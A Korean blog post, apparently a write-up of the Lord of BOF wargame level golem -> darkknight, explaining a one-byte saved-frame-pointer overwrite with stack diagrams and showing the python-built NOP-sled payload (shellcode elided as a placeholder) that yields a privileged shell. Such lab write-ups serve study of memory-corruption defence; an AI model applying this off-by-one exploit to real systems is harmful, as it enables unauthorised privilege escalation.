[LOB] level12, golem -> darknight 풀이 (SFP 조작)
- 시스템해킹/LordOfBof
- 2020. 4. 7. 10:03
LOB, golem -> darknight 문제 확인
이번 문제에서는 bof에 취약하지 않은 함수인 strncpy가 등장한다. 그렇기 때문에 이번 문제에서부터는 스택 포인터를 어떻게 조정해야 하는지가 중요하다.

LOB, golem -> darknight 풀이
이번 문제는 SFP 값을 한바이트 변경시켜 쉘코드가 실행되게끔 해야 하는 문제이다. 버퍼가 40바이트인데 41바이트를 복사하기 때문에 한바이트를 오버플로우시킬 수 있게 된다. problem_child는 아래와 같은 스택을 갖고있는데 problem_child 함수의 leave, ret부터 따라가보면 어떻게 익스를 해야하는지 쉽게 이해할 수 있다.
| buffer (40) |
| SFP (4) |
| RET (4) |
그리고 problem_child 함수의 leave, ret부터 따라가보면 어떻게 익스를 해야하는지 쉽게 이해할 수 있다. leave 부분에 bp를 건 후 실행시키고 한줄한줄 실행시키면서 esp, ebp가 어떻게 변하는지 살펴보자.

일단, leave 명령어 실행전 스택 상황은 아래와 같다. esp가 버퍼 시작지점을 가리키고 있고 ebp는 당연히 SFP를 가르키고 있다.
| 0xbffffab4 | 0x41414141 (buffer) <--- esp |
| 0xbffffab8 | 0x41414141 |
| ... |
| 0xbffffad8 | 0x41414141 |
| 0xbffffadc | 0xbffffa41 (SFP) <---ebp |
| 0xbffffae0 | 0x080484ae (RET) |
problem_child()의 leave
여기서 leave가 실행되면 어떻게 될까. leave 명령어는 <mov esp, ebp; pop ebp> 를 수행하는 명령어로 먼저 mov esp, ebp로 인해 ebp값(0xbffffa41)이 esp에 저장된다. 즉, esp와 ebp가 가리키는 곳이 같아지게 된다. (여기서 내가 표기하는 '값'과 '저장되어 있는 값'을 헷갈리지 않길 바란다.)
(mov esp, ebp)
| 0xbffffab4 | 0x41414141 (buffer) |
| 0xbffffab8 | 0x41414141 |
| ... |
| 0xbffffad8 | 0x41414141 |
| 0xbffffadc | 0xbffffa41 (SFP) <---esp, ebp |
| 0xbffffae0 | 0x080484ae (RET) |
그 다음, pop ebp로 esp에 저장되어있는 값(0xbffffa41)이 ebp에 저장되고 esp는 +4가 된다. 즉, ebp는 esp에 저장되어있는 값을 가리키게 된다.
(pop ebp)
| 0xbffffa41 | AAAAAAAA <---ebp |
| ... |
| 0xbffffab4 | 0x41414141 (buffer) |
| 0xbffffab8 | 0x41414141 |
| ... |
| 0xbffffad8 | 0x41414141 |
| 0xbffffadc | 0xbffffa41 (SFP) |
| 0xbffffae0 | 0x080484ae (RET) <---esp |
problem_child() 의 ret 실행 후
ret은 pop eip, jmp eip로 이루어져있는 명령어이다. 현재 esp값을 eip에 넣고 점프하면서 pop에 의해 esp가 +4가 된다. 현재 esp는 problem_chlid를 호출할 때 호출 후 코드로 다시 돌아오기 위한 주소값을 스택에 저장시켜놓은 값(RET)이기 때문에 ret에 의해 main문으로 다시 돌아오게 된다.
| 0xbffffa41 | AAAAAAAA <---ebp |
| ... |
| 0xbffffab4 | 0x41414141 (buffer) |
| 0xbffffab8 | 0x41414141 |
| ... |
| 0xbffffad8 | 0x41414141 |
| 0xbffffadc | 0xbffffa41 (SFP) |
| 0xbffffae0 | 0x080484ae (RET) |
| 0xbffffae4 | 0xbffffc40 <---esp |
| 0xbffffae8 | 0xbffffb08 |
main() add $0x4, %esp
esp가 +4이 된다.
| 0xbffffa41 | AAAAAAAA <---ebp |
| ... |
| 0xbffffab4 | 0x41414141 (buffer) |
| 0xbffffab8 | 0x41414141 |
| ... |
| 0xbffffad8 | 0x41414141 |
| 0xbffffadc | 0xbffffa41 (SFP) |
| 0xbffffae0 | 0x080484ae (RET) |
| 0xbffffae4 | 0xbffffc40 |
| 0xbffffae8 | 0xbffffb08 <---esp |
main()의 leave
leave 명령어는 위에서 설명했으므로 다시 설명하지는 않겠다.
(mov esp, ebp)
| 0xbffffa41 | AAAAAAAA <---ebp, esp |
| ... |
| 0xbffffab4 | 0x41414141 (buffer) |
| 0xbffffab8 | 0x41414141 |
| ... |
| 0xbffffad8 | 0x41414141 |
| 0xbffffadc | 0xbffffa41 (SFP) |
| 0xbffffae0 | 0x080484ae (RET) |
| 0xbffffae4 | 0xbffffc40 |
| 0xbffffae8 | 0xbffffb08 |
아래 pop ebp까지 leave 명령어가 실행되고 난 후의 스택 상황을 보면 한바이트 조작된 SFP 값이 가리키고있는 값으로 ebp가 이동된 것과 (esp는 한바이트 조작된 SFP 주소 +4)를 가리키고 있는 것을 볼 수 있다.
(pop ebp)
| 0xbffffa41 | AAAAAAAA |
| 0xbffffa45 | BBBBBBBB <---esp |
| ... |
| 0xbffffab4 | 0x41414141 (buffer) |
| 0xbffffab8 | 0x41414141 |
| ... |
| 0xbffffad8 | 0x41414141 |
| 0xbffffadc | 0xbffffa41 (SFP) |
| 0xbffffae0 | 0x080484ae (RET) |
| 0xbffffae4 | 0xbffffc40 |
| 0xbffffae8 | 0xbffffb08 |
| ... |
| AAAAAAAA | CCCCCCCC <---ebp |
아래 실제 레지스터값으로도 확인해보면, leave가 실행되고난 후 esp 값은 (한바이트 조작된 SFP값+4) 이다.

main()의 ret
이제 마지막, main문의 ret 명령어만 남았다. ret 명령어는 현재 esp가 가리키고 있는 곳의 값을 eip에 넣은 후 eip로 점프하는 명령어이다.
| 0xbffffa45 | BBBBBBBB <---eip |
위에서 살펴본대로 현재 esp는 (한바이트 조작된 SFP값+4) 이다. 따라서 여기에 들어있는 값인 0xb0400143으로 점프했고 세그폴트가 발생한 것을 볼 수 있다.

그럼여기서! 익스플로잇을 하기 위해선 버퍼든 어디든 올릴 수 있는 곳에 쉘코드를 올리고 쉘코드를 올린 곳 -4 주소값이 되도록 SFP 값을 한바이트 조작하면 결국 쉘코드가 저장되어있는 주소로 점프하게 된다는 것을 알 수 있다. 버퍼주소가 출력되게끔 darknight.c 소스를 수정해 컴파일한 /tmp의 파일로 대략 buffer 주소가 어딘지 알아낸다.
[golem@localhost /tmp]$ ./darkknight `python -c 'print "\x90"*15 + "[shellcode]" + "\x90"'`
1ѐh//shh/bin⏓
ᱍ(𩻿¿ @
Segmentation fault

LOB, golem -> darknight 익스플로잇
그리고 4바이트씩 아래로 두번정도 움직여주니 쉘을 획득할 수 있었다.
[golem@localhost golem]$ ./darkknight `python -c 'print "\x90"*15 + "[shellcode]" + "\x90"'`
1ѐh//shh/bin⏓
ᱍ(𩻿¿ @
Segmentation fault
[golem@localhost golem]$ ./darkknight `python -c 'print "\x90"*15 + "[shellcode]" + "\x8c"'`
1ѐh//shh/bin⏓
ᱍ(𩻿¿ @
bash$ id
uid=511(golem) gid=511(golem) euid=512(darkknight) egid=512(darkknight) groups=511(golem)
bash$ my-pass
euid = 512
new attacker

'시스템해킹 > LordOfBof' 카테고리의 다른 글
| [LOB] level14, bugbear -> giant 풀이 (0) | 2020.04.08 |
|---|---|
| [LOB] level13, darknight -> bugbear 풀이 (0) | 2020.04.08 |
| [LOB] level11, skeleton -> golem 풀이 (0) | 2020.04.06 |
| [LOB] level10, vampire -> skleton 풀이 (0) | 2020.04.06 |
| [LOB] level9, troll -> vampire 풀이 (0) | 2020.04.06 |